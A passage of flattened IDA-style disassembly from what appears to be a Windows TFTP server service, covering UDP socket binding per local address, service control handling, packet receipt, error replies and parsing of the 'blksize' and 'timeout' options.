eax, esi jnz loc_10019EB mov eax, 0EA60h push esi push eax push eax push esi push offset sub_10029BA push offset dword_1006048 push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer push esi ; lpName push esi ; bInitialState push esi ; bManualReset push esi ; lpEventAttributes mov edi, eax call ds:CreateEventA ; CreateEventA cmp eax, esi mov dword_1005DF8, eax jnz short loc_10019A2 mov eax, edi jmp short loc_10019EB ; --------------------------------------------------------------------------- loc_10019A2: ; CODE XREF: sub_10018DB+C1j push esi push 0FFFFFFFFh push esi push offset sub_1002219 push eax push offset dword_1005DFC call ds:RtlRegisterWait ; RtlRegisterWait cmp eax, esi jnz short loc_10019EB mov ecx, offset overlapped xor eax, eax mov edi, ecx push ecx ; overlapped stosd stosd stosd stosd stosd mov eax, dword_1005DF8 push offset Handle ; Handle mov overlapped.hEvent, eax call NotifyAddrChange ; NotifyAddrChange cmp eax, esi jz short loc_10019E9 cmp eax, 3E5h jnz short loc_10019EB loc_10019E9: ; CODE XREF: sub_10018DB+105j xor eax, eax loc_10019EB: ; CODE XREF: sub_10018DB+89j ; sub_10018DB+C5j ... pop edi pop esi pop ebx leave retn sub_10018DB endp ; =============== S U B R O U T I N E ======================================= sub_10019F0 proc near ; CODE XREF: sub_1001665+203p mov eax, offset lpMem push offset stru_1006060 ; lpCriticalSection mov dword_100607C, eax mov lpMem, eax call ds:InitializeCriticalSection ; InitializeCriticalSection push 0 ; dwMaximumSize push 0EFD1Ch ; dwInitialSize push 0 ; flOptions call ds:HeapCreate ; HeapCreate mov hHeap, eax retn sub_10019F0 endp ; =============== S U B R O U T I N E ======================================= sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p push ebx push esi mov ebx, offset stru_1006060 push edi push ebx ; lpCriticalSection xor esi, esi call ds:EnterCriticalSection mov eax, dword_1005DF0 sub eax, dword_1005DF4 cmp eax, 0Ah jbe short loc_1001A46 shr eax, 1 mov esi, eax jmp short loc_1001A4E ; --------------------------------------------------------------------------- loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj cmp eax, 3 jbe short loc_1001A4E push 2 pop esi loc_1001A4E: ; CODE XREF: sub_1001A1F+25j ; sub_1001A1F+2Aj test esi, esi jbe short loc_1001A86 mov edi, esi loc_1001A54: ; CODE XREF: sub_1001A1F+65j mov eax, lpMem mov esi, eax mov ecx, [eax] mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax push dword ptr [esi+30h] ; hObject call ds:CloseHandle ; CloseHandle push esi ; lpMem push 0 ; dwFlags push hHeap ; hHeap call ds:HeapFree dec dword_1005DF0 dec edi jnz short loc_1001A54 loc_1001A86: ; CODE XREF: sub_1001A1F+31j push ebx ; lpCriticalSection call ds:LeaveCriticalSection pop edi pop esi pop ebx retn sub_1001A1F endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1001A91(SOCKET s, int) sub_1001A91 proc near ; CODE XREF: .text:01001DCCp ; .text:01001DE1p dwFlags = dword ptr -10004h argp = dword ptr -10000h Fromlen = dword ptr -0FFFCh var_FFF8 = dword ptr -0FFF8h Buffers = _WSABUF ptr -0FFF4h Handles = dword ptr -0FFECh var_FFE8 = dword ptr -0FFE8h Overlapped = _OVERLAPPED ptr -0FFE4h to = sockaddr ptr -0FFD0h var_FFC0 = dword ptr -0FFC0h s = dword ptr 4 arg_4 = dword ptr 8 mov eax, 10004h call _chkstk ; _chkstk push ebx push ebp xor ebp, ebp push esi push edi mov [esp+10014h+dwFlags], ebp mov ebx, offset stru_1006060 loc_1001AAA: ; CODE XREF: sub_1001A91+291j lea eax, [esp+10014h+argp] push eax ; argp push 4004667Fh ; cmd push [esp+1001Ch+s] ; s call ds:ioctlsocket ; ioctlsocket cmp eax, ebp jnz loc_1001D27 cmp [esp+10014h+argp], ebp jz loc_1001D65 xor eax, eax lea edi, [esp+10014h+Overlapped] stosd stosd stosd stosd push ebx ; lpCriticalSection stosd call ds:EnterCriticalSection mov eax, lpMem inc dword_1005DF4 cmp eax, offset lpMem jz short loc_1001B11 mov ecx, [eax] mov esi, eax mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax push dword ptr [esi+30h] ; hEvent call ds:ResetEvent ; ResetEvent mov eax, [esi+30h] jmp short loc_1001B41 ; --------------------------------------------------------------------------- loc_1001B11: ; CODE XREF: sub_1001A91+64j inc dword_1005DF0 push 2FF6Ch ; dwBytes push 8 ; dwFlags push hHeap ; hHeap call ds:HeapAlloc mov esi, eax cmp esi, ebp jz loc_1001D5E push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ds:CreateEventA ; CreateEventA mov [esi+30h], eax loc_1001B41: ; CODE XREF: sub_1001A91+7Ej push ebx ; lpCriticalSection mov [esp+10018h+Overlapped.hEvent], eax call ds:LeaveCriticalSection lea ebp, [esi+34h] mov ecx, 3FEFh xor eax, eax mov edi, ebp rep stosd stosb mov eax, [esp+10014h+arg_4] mov [esp+10014h+Buffers.buf], ebp mov [esp+10014h+Buffers.len], 0FFBDh mov [esp+10014h+Fromlen], 10h mov [esi+1Ch], eax lea eax, [esp+10014h+Overlapped] push 0 ; lpCompletionRoutine push eax ; lpOverlapped lea eax, [esp+1001Ch+Fromlen] lea edi, [esi+2Ch] push eax ; lpFromlen lea eax, [esi+0Ch] push eax ; lpFrom lea eax, [esp+10024h+dwFlags] push eax ; lpFlags push edi ; lpNumberOfBytesRecvd lea eax, [esp+1002Ch+Buffers] push 1 ; dwBufferCount push eax ; lpBuffers push [esp+10034h+s] ; s call ds:WSARecvFrom ; WSARecvFrom mov [esp+10014h+var_FFF8], eax mov ax, [esi+0Eh] push eax ; netshort call ds:ntohs ; ntohs cmp [esp+10014h+var_FFF8], 0 jz short loc_1001C34 call ds:WSAGetLastError ; WSAGetLastError cmp eax, 3E5h jnz loc_1001D2F mov eax, hHandle push 0FFFFFFFFh ; dwMilliseconds mov [esp+10018h+Handles], eax mov eax, [esp+10018h+Overlapped.hEvent] mov [esp+10018h+var_FFE8], eax lea eax, [esp+10018h+Handles] push 0 ; bWaitAll push eax ; lpHandles push 2 ; nCount call ds:WaitForMultipleObjects ; WaitForMultipleObjects cmp eax, 0FFFFFFFFh jz loc_1001D2F cmp eax, 102h jz loc_1001D2F test eax, eax jz loc_1001D2F lea eax, [esp+10014h+dwFlags] push eax ; lpdwFlags push 0 ; fWait lea eax, [esp+1001Ch+Overlapped] push edi ; lpcbTransfer push eax ; lpOverlapped push [esp+10024h+s] ; s call ds:WSAGetOverlappedResult ; WSAGetOverlappedResult test eax, eax jnz short loc_1001C34 call ds:WSAGetLastError ; WSAGetLastError jmp loc_1001CEA ; --------------------------------------------------------------------------- loc_1001C34: ; CODE XREF: sub_1001A91+129j ; sub_1001A91+196j push 0 ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject test eax, eax jz loc_1001D2F cmp dword ptr [edi], 2 jl loc_1001CEA xor edi, edi cmp [esp+10014h+arg_4], edi jz short loc_1001CDA mov ax, [ebp+0] push eax ; hostshort call ds:htons ; htons movzx ecx, ax test ecx, ecx jle short loc_1001CB8 cmp ecx, 2 jle short loc_1001C81 cmp ecx, 4 jz short loc_1001CB8 cmp ecx, 5 jnz short loc_1001CB8 jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001C81: ; CODE XREF: sub_1001A91+1E2j cmp ax, 1 jnz short loc_1001C94 inc dword ptr Time+4 mov edi, offset sub_1002F31 jmp short loc_1001CA5 ; --------------------------------------------------------------------------- loc_1001C94: ; CODE XREF: sub_1001A91+1F4j cmp ax, 2 jnz short loc_1001CA5 inc dword_10060C8 mov edi, offset sub_100333A loc_1001CA5: ; CODE XREF: sub_1001A91+201j ; sub_1001A91+207j mov eax, [esp+10014h+s] test edi, edi mov [esi+8], eax jz short loc_1001CEA push esi call edi ; sub_1002F31 jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj ; sub_1001A91+1E7j ... push 0 ; int push 4 ; hostshort push [esp+1001Ch+s] ; s inc dword_10060CC lea eax, [esp+10020h+var_FFC0] push eax ; int lea eax, [esp+10024h+to] push eax ; to call sub_100230A jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj mov eax, [esp+10014h+s] push esi mov [esi+8], eax call sub_1002EC8 loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej ; sub_1001A91+1BCj ... push ebx ; lpCriticalSection call ds:EnterCriticalSection mov eax, lpMem mov dword ptr [esi+4], offset lpMem mov [esi], eax push offset Addend ; lpAddend mov [eax+4], esi mov lpMem, esi call ds:InterlockedIncrement ; InterlockedIncrement dec dword_1005DF4 push ebx ; lpCriticalSection call ds:LeaveCriticalSection xor ebp, ebp jmp loc_1001AAA ; --------------------------------------------------------------------------- loc_1001D27: ; CODE XREF: sub_1001A91+32j call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1001D65 ; --------------------------------------------------------------------------- loc_1001D2F: ; CODE XREF: sub_1001A91+136j ; sub_1001A91+161j ... push ebx ; lpCriticalSection call ds:EnterCriticalSection mov eax, lpMem mov dword ptr [esi+4], offset lpMem mov [esi], eax push offset Addend ; lpAddend mov [eax+4], esi mov lpMem, esi call ds:InterlockedIncrement ; InterlockedIncrement dec dword_1005DF4 loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1001D65: ; CODE XREF: sub_1001A91+3Cj ; sub_1001A91+29Cj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10004h retn 8 sub_1001A91 endp ; --------------------------------------------------------------------------- loc_1001D74: ; DATA XREF: sub_100188E+2Do push ecx push ebx push ebp push esi mov esi, offset stru_1006020 push edi mov edi, ds:TryEnterCriticalSection push esi xor ebp, ebp xor ebx, ebx call edi ; TryEnterCriticalSection loc_1001D8B: ; CODE XREF: .text:01001DA1j test eax, eax jnz short loc_1001DA7 push 0C8h call ds:Sleep ; Sleep push esi call edi ; TryEnterCriticalSection inc ebx cmp ebx, 7Dh jb short loc_1001D8B test eax, eax jz short loc_1001DD1 loc_1001DA7: ; CODE XREF: .text:01001D8Dj lea eax, [esp+10h] push eax push dword ptr [esp+1Ch] call sub_10021E5 test eax, eax jnz short loc_1001DC0 mov eax, [esp+10h] mov ebp, [eax+0Ch] loc_1001DC0: ; CODE XREF: .text:01001DB7j push esi call ds:LeaveCriticalSection push ebp push dword ptr [esp+1Ch] call sub_1001A91 loc_1001DD1: ; CODE XREF: .text:01001DA5j pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o push 0 push dword ptr [esp+8] call sub_1001A91 xor eax, eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __stdcall HandlerProc(DWORD) HandlerProc proc near ; DATA XREF: sub_1001665+6o Time = qword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+Time] push eax ; Time call ds:time ; time inc ServiceStatus.dwCheckPoint pop ecx lea eax, [ebp+Time] push eax ; Time call ds:ctime ; ctime mov eax, [ebp+arg_0] pop ecx dec eax jz short loc_1001E68 dec eax jz short loc_1001E35 dec eax jz short loc_1001E1D dec eax dec eax jz short loc_1001E68 jmp short loc_1001E4B ; --------------------------------------------------------------------------- loc_1001E1D: ; CODE XREF: HandlerProc+2Aj push hThread ; hThread call ds:ResumeThread ; ResumeThread mov ServiceStatus.dwCurrentState, 4 jmp short loc_1001E4B ; --------------------------------------------------------------------------- loc_1001E35: ; CODE XREF: HandlerProc+27j push hThread ; hThread call ds:SuspendThread ; SuspendThread mov ServiceStatus.dwCurrentState, 7 loc_1001E4B: ; CODE XREF: HandlerProc+30j ; HandlerProc+48j push offset ServiceStatus ; lpServiceStatus push hServiceStatus ; hServiceStatus call ds:SetServiceStatus ; SetServiceStatus test eax, eax jnz short locret_1001E6F call ds:GetLastError jmp short locret_1001E6F ; --------------------------------------------------------------------------- loc_1001E68: ; CODE XREF: HandlerProc+24j ; HandlerProc+2Ej push 0 call sub_1001E73 locret_1001E6F: ; CODE XREF: HandlerProc+73j ; HandlerProc+7Bj leave retn 4 HandlerProc endp ; =============== S U B R O U T I N E ======================================= sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p ; HandlerProc+7Fp arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, ds:SetServiceStatus push edi mov edi, offset ServiceStatus push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 3 push hServiceStatus ; hServiceStatus call esi ; SetServiceStatus mov ebp, ds:GetLastError xor ebx, ebx cmp eax, ebx jnz short loc_1001EA3 call ebp ; GetLastError loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj push hHandle ; hEvent call ds:SetEvent ; SetEvent mov ServiceStatus.dwCurrentState, 1 mov ServiceStatus.dwCheckPoint, ebx mov eax, [esp+10h+arg_0] mov ServiceStatus.dwWaitHint, ebx cmp eax, ebx jnz short loc_1001EDB mov ServiceStatus.dwWin32ExitCode, ebx mov ServiceStatus.dwServiceSpecificExitCode, ebx jmp short loc_1001EFD ; --------------------------------------------------------------------------- loc_1001EDB: ; CODE XREF: sub_1001E73+58j cmp eax, 834h jb short loc_1001EF3 cmp eax, 16A7h mov ServiceStatus.dwWin32ExitCode, 42Ah jbe short loc_1001EF8 loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj mov ServiceStatus.dwWin32ExitCode, eax loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej mov ServiceStatus.dwServiceSpecificExitCode, eax loc_1001EFD: ; CODE XREF: sub_1001E73+66j push edi ; lpServiceStatus push hServiceStatus ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebx jnz short loc_1001F0C call ebp ; GetLastError loc_1001F0C: ; CODE XREF: sub_1001E73+95j mov eax, hObject mov esi, ds:CloseHandle cmp eax, ebx jz short loc_1001F24 push eax ; hObject call esi ; CloseHandle mov hObject, ebx loc_1001F24: ; CODE XREF: sub_1001E73+A6j mov eax, hHandle cmp eax, ebx jz short loc_1001F36 push eax ; hObject call esi ; CloseHandle mov hHandle, ebx loc_1001F36: ; CODE XREF: sub_1001E73+B8j mov eax, File cmp eax, ebx jz short loc_1001F4D push eax ; File call ds:fclose ; fclose pop ecx mov File, ebx loc_1001F4D: ; CODE XREF: sub_1001E73+CAj pop edi pop esi pop ebp pop ebx retn 4 sub_1001E73 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1001F54(void *Memory) sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp ; sub_1002219+B7p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] push 0FFFFFFFFh push dword ptr [esi+10h] call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx push dword ptr [esi+8] ; s call ds:closesocket ; closesocket push dword ptr [esi+14h] ; hEvent call ds:WSACloseEvent ; WSACloseEvent mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jnz short loc_1001F90 mov eax, Memory mov ecx, [eax] mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax jmp short loc_1001F9A ; --------------------------------------------------------------------------- loc_1001F90: ; CODE XREF: sub_1001F54+29j mov [ecx], eax mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj push esi ; Memory call ds:free ; free pop ecx pop esi retn 4 sub_1001F54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp ; sub_1002219+1Dp var_8 = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+Size] push edi ; bOrder push eax ; pdwSize push edi ; pIpAddrTable mov [ebp+Size], edi mov [ebp+var_8], 0C0000017h mov [ebx], edi call GetIpAddrTable ; GetIpAddrTable cmp eax, edi jz short loc_1001FD3 cmp eax, 7Ah jnz short loc_100201A loc_1001FD3: ; CODE XREF: sub_1001FA6+26j push [ebp+Size] ; Size call ds:malloc ; malloc mov esi, eax pop ecx cmp esi, edi jz short loc_100201A loc_1001FE3: ; CODE XREF: sub_1001FA6+63j lea eax, [ebp+Size] push edi ; bOrder push eax ; pdwSize push esi ; pIpAddrTable call GetIpAddrTable ; GetIpAddrTable cmp eax, edi jz short loc_1002015 cmp eax, 7Ah jnz short loc_100201A push [ebp+Size] ; NewSize push esi ; Memory call ds:realloc ; realloc pop ecx cmp eax, edi pop ecx jz short loc_100200B mov esi, eax jmp short loc_1001FE3 ; --------------------------------------------------------------------------- loc_100200B: ; CODE XREF: sub_1001FA6+5Fj push esi ; Memory call ds:free ; free pop ecx jmp short loc_100201A ; --------------------------------------------------------------------------- loc_1002015: ; CODE XREF: sub_1001FA6+4Aj mov [ebp+var_8], edi mov [ebx], esi loc_100201A: ; CODE XREF: sub_1001FA6+2Bj ; sub_1001FA6+3Bj ... mov eax, [ebp+var_8] pop edi pop esi pop ebx leave retn 4 sub_1001FA6 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002024(struct in_addr in, int) sub_1002024 proc near ; CODE XREF: sub_100205A+B7p in = in_addr ptr 4 arg_4 = dword ptr 8 push dword ptr [esp+in.S_un] ; in call ds:inet_ntoa ; inet_ntoa test eax, eax jz short locret_1002057 push edi mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx push esi mov eax, ecx mov esi, edi mov edi, [esp+8+arg_4] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop esi pop edi locret_1002057: ; CODE XREF: sub_1002024+Cj retn 8 sub_1002024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100205A(struct in_addr in) sub_100205A proc near ; CODE XREF: sub_10018DB+64p ; sub_1002219+65p ... var_28 = dword ptr -28h name = sockaddr ptr -14h var_4 = dword ptr -4 in = in_addr ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi xor esi, esi push edi mov [ebp+var_4], esi loc_1002068: ; CODE XREF: sub_100205A+5Dj push 1 ; dwFlags push esi ; g push esi ; lpProtocolInfo push esi ; protocol push 2 ; type push 2 ; af call ds:WSASocketA ; WSASocketA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_100209D xor eax, eax lea edi, [ebp+name] stosd stosd stosd push offset proto ; "udp" push offset name ; "tftp" stosd call ds:getservbyname ; getservbyname cmp eax, esi jnz short loc_10020B9 jmp short loc_10020B1 ; --------------------------------------------------------------------------- loc_100209D: ; CODE XREF: sub_100205A+22j call ds:WSAGetLastError ; WSAGetLastError push 2EEh ; dwMilliseconds call ds:Sleep ; Sleep inc [ebp+var_4] loc_10020B1: ; CODE XREF: sub_100205A+41j cmp [ebp+var_4], 0Ah jge short loc_10020E6 jmp short loc_1002068 ; --------------------------------------------------------------------------- loc_10020B9: ; CODE XREF: sub_100205A+3Fj mov [ebp+name.sa_family], 2 mov ax, [eax+8] mov word ptr [ebp+name.sa_data], ax mov eax, dword ptr [ebp+in.S_un] mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push 10h ; namelen push eax ; name push ebx ; s call ds:bind ; bind test eax, eax jz short loc_10020E6 call ds:GetLastError jmp short loc_100215E ; --------------------------------------------------------------------------- loc_10020E6: ; CODE XREF: sub_100205A+5Bj ; sub_100205A+82j cmp ebx, 0FFFFFFFFh jz short loc_100215E push 20h ; Size call ds:malloc ; malloc mov esi, eax pop ecx test esi, esi jz short loc_100213D push 8 xor eax, eax pop ecx mov edi, esi rep stosd mov eax, dword ptr [ebp+in.S_un] lea ecx, [ebp+var_28] push ecx ; int push eax ; in mov [esi+8], ebx mov [esi+0Ch], eax call sub_1002024 xor eax, eax push eax ; lpName push eax ; bInitialState push eax ; bManualReset push eax ; lpEventAttributes call ds:CreateEventA ; CreateEventA mov edi, eax test edi, edi jz short loc_1002140 push 1 ; char push edi ; hEventObject push ebx ; s mov [esi+14h], edi call sub_100188E test eax, eax mov [esi+10h], eax jnz short loc_1002162 jmp short loc_1002140 ; --------------------------------------------------------------------------- loc_100213D: ; CODE XREF: sub_100205A+9Ej mov edi, dword ptr [ebp+in.S_un] loc_1002140: ; CODE XREF: sub_100205A+CCj ; sub_100205A+E1j push ebx ; s call ds:closesocket ; closesocket test edi, edi jz short loc_1002152 push edi ; hObject call ds:CloseHandle ; CloseHandle loc_1002152: ; CODE XREF: sub_100205A+EFj test esi, esi jz short loc_100215E push esi ; Memory call ds:free ; free pop ecx loc_100215E: ; CODE XREF: sub_100205A+8Aj ; sub_100205A+8Fj ... xor eax, eax jmp short loc_100217B ; --------------------------------------------------------------------------- loc_1002162: ; CODE XREF: sub_100205A+DFj mov eax, Memory mov dword ptr [esi+4], offset Memory mov [esi], eax mov [eax+4], esi mov Memory, esi mov eax, esi loc_100217B: ; CODE XREF: sub_100205A+106j pop edi pop esi pop ebx leave retn 4 sub_100205A endp ; =============== S U B R O U T I N E ======================================= sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p mov ecx, Memory push esi mov esi, offset Memory xor eax, eax cmp ecx, esi jz short loc_10021B3 push edi loc_1002195: ; CODE XREF: sub_1002182+2Ej cmp dword ptr [ecx+18h], 0 mov edi, [ecx] jnz short loc_10021A8 push ecx ; Memory call sub_1001F54 push 1 pop eax jmp short loc_10021AC ; --------------------------------------------------------------------------- loc_10021A8: ; CODE XREF: sub_1002182+19j and dword ptr [ecx+18h], 0 loc_10021AC: ; CODE XREF: sub_1002182+24j cmp edi, esi mov ecx, edi jnz short loc_1002195 pop edi loc_10021B3: ; CODE XREF: sub_1002182+10j pop esi retn sub_1002182 endp ; =============== S U B R O U T I N E ======================================= sub_10021B5 proc near ; CODE XREF: sub_1002219+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov ecx, offset Memory and dword ptr [edx], 0 mov eax, Memory loc_10021C7: ; CODE XREF: sub_10021B5+21j cmp eax, ecx jz short loc_10021DF mov esi, [eax+0Ch] cmp esi, [esp+4+arg_0] jz short loc_10021D8 mov eax, [eax] jmp short loc_10021C7 ; --------------------------------------------------------------------------- loc_10021D8: ; CODE XREF: sub_10021B5+1Dj push 1 mov [edx], eax pop eax jmp short loc_10021E1 ; --------------------------------------------------------------------------- loc_10021DF: ; CODE XREF: sub_10021B5+14j xor eax, eax loc_10021E1: ; CODE XREF: sub_10021B5+28j pop esi retn 8 sub_10021B5 endp ; =============== S U B R O U T I N E ======================================= sub_10021E5 proc near ; CODE XREF: .text:01001DB0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov ecx, offset Memory and dword ptr [edx], 0 mov eax, Memory loc_10021F7: ; CODE XREF: sub_10021E5+21j cmp eax, ecx jz short loc_100220A mov esi, [eax+8] cmp esi, [esp+4+arg_0] jz short loc_1002208 mov eax, [eax] jmp short loc_10021F7 ; --------------------------------------------------------------------------- loc_1002208: ; CODE XREF: sub_10021E5+1Dj mov [edx], eax loc_100220A: ; CODE XREF: sub_10021E5+14j mov eax, [edx] pop esi neg eax sbb eax, eax and al, 0A9h add eax, 57h retn 8 sub_10021E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 Memory = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi xor esi, esi push offset stru_1006020 ; lpCriticalSection mov [ebp+var_C], esi call ds:EnterCriticalSection lea eax, [ebp+Memory] push eax call sub_1001FA6 test eax, eax jnz short loc_10022A9 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_1002298 loc_1002248: ; CODE XREF: sub_1002219+7Dj mov eax, [eax+esi+4] test eax, eax jz short loc_100228D cmp eax, 100007Fh jz short loc_100228D lea ecx, [ebp+var_8] push ecx push eax call sub_10021B5 test eax, eax jz short loc_1002271 mov eax, [ebp+var_8] mov dword ptr [eax+18h], 1 jmp short loc_100228D ; --------------------------------------------------------------------------- loc_1002271: ; CODE XREF: sub_1002219+4Aj mov eax, [ebp+Memory] push 1 pop edi push dword ptr [eax+esi+4] ; in mov [ebp+var_C], edi call sub_100205A test eax, eax mov [ebp+var_8], eax jz short loc_100228D mov [eax+18h], edi loc_100228D: ; CODE XREF: sub_1002219+35j ; sub_1002219+3Cj ... mov eax, [ebp+Memory] inc ebx add esi, 18h cmp ebx, [eax] jb short loc_1002248 loc_1002298: ; CODE XREF: sub_1002219+2Dj call sub_1002182 push [ebp+Memory] ; Memory mov esi, eax call ds:free ; free pop ecx loc_10022A9: ; CODE XREF: sub_1002219+24j cmp [ebp+var_C], 0 jnz short loc_10022E9 test esi, esi jnz short loc_10022E9 mov eax, Memory mov edi, offset Memory cmp eax, edi jz short loc_10022E9 loc_10022C1: ; CODE XREF: sub_1002219+CEj mov [ebp+var_8], eax mov ebx, [eax] test byte ptr [eax+1Ch], 1 jnz short loc_10022E3 mov esi, [eax+0Ch] push eax ; Memory call sub_1001F54 push esi ; in call sub_100205A test eax, eax jz short loc_10022E3 or dword ptr [eax+1Ch], 1 loc_10022E3: ; CODE XREF: sub_1002219+B1j ; sub_1002219+C4j cmp ebx, edi mov eax, ebx jnz short loc_10022C1 loc_10022E9: ; CODE XREF: sub_1002219+94j ; sub_1002219+98j ... push offset overlapped ; overlapped push offset Handle ; Handle call NotifyAddrChange ; NotifyAddrChange push offset stru_1006020 ; lpCriticalSection call ds:LeaveCriticalSection pop edi pop esi pop ebx leave retn 8 sub_1002219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100230A(struct sockaddr *to, int, SOCKET s, u_short hostshort, int) sub_100230A proc near ; CODE XREF: sub_1001A91+242p ; sub_10023D8+23Cp ... buf = byte ptr -0FFBCh var_FFBA = word ptr -0FFBAh var_FFB8 = byte ptr -0FFB8h to = dword ptr 8 s = dword ptr 10h hostshort = word ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 0FFBCh call _chkstk ; _chkstk push ebx push esi mov esi, ds:htons push edi push 5 ; hostshort call esi ; htons mov edi, dword ptr [ebp+hostshort] mov word ptr [ebp+buf], ax push edi ; hostshort call esi ; htons cmp [ebp+arg_10], 0 mov [ebp+var_FFBA], ax jz short loc_1002369 mov edi, [ebp+arg_10] or ecx, 0FFFFFFFFh xor eax, eax lea edx, [ebp+var_FFB8] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+arg_10] jmp short loc_10023A2 ; --------------------------------------------------------------------------- loc_1002369: ; CODE XREF: sub_100230A+32j cmp di, 9 jb short loc_1002371 xor edi, edi loc_1002371: ; CODE XREF: sub_100230A+63j movzx eax, di or ecx, 0FFFFFFFFh lea ebx, [ebp+var_FFB8] mov edx, off_1005CC0[eax*4] xor eax, eax mov edi, edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, edx loc_10023A2: ; CODE XREF: sub_100230A+5Dj or ecx, 0FFFFFFFFh xor eax, eax repne scasb push 10h ; tolen push [ebp+to] ; to not ecx dec ecx push eax ; flags add ecx, 5 lea eax, [ebp+buf] push ecx ; len push eax ; buf push [ebp+s] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_10023D1 call ds:WSAGetLastError ; WSAGetLastError loc_10023D1: ; CODE XREF: sub_100230A+BFj pop edi pop esi pop ebx leave retn 14h sub_100230A endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_10023D8(int, char *Str1, int, int, int, int) sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p ; sub_100333A+26Dp arg_0 = dword ptr 4 Str1 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov eax, [esp+arg_0] push ebx push ebp push esi mov esi, [esp+0Ch+arg_10] mov dword ptr [eax+20h], 200h mov dword ptr [eax+28h], 0Ah mov eax, [esp+0Ch+arg_14] push edi mov ecx, 3FEFh and dword ptr [eax], 0 xor eax, eax mov edi, esi push 6 ; hostshort rep stosd call ds:htons ; htons mov [esi], ax lea ebx, [esi+2] mov ebp, [esp+10h+Str1] cmp byte ptr [ebp+0], 0 jz loc_10025E4 loc_1002420: ; CODE XREF: sub_10023D8+202j mov esi, ds:_stricmp push offset Str2 ; "blksize" push ebp ; Str1 call esi ; _stricmp pop ecx test eax, eax pop ecx jnz short loc_1002498 mov edi, ebp or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx push 8 mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop esi add ebp, esi add ebx, esi push ebp ; Str call ds:atoi ; atoi pop ecx cmp eax, esi mov ecx, [esp+10h+arg_0] mov [ecx+20h], eax jb loc_10025FD cmp eax, 0FFB8h ja loc_10025FD cmp eax, 5B0h jnz short loc_100248F mov dword ptr [ecx+20h], 200h sub ebx, esi jmp loc_10025C6 ; --------------------------------------------------------------------------- loc_100248F: ; CODE XREF: sub_10023D8+A7j push 0Ah push ebx push eax jmp loc_1002597 ; --------------------------------------------------------------------------- loc_1002498: ; CODE XREF: sub_10023D8+5Aj push offset aTimeout_0 ; "timeout" push ebp ; Str1 call esi ; 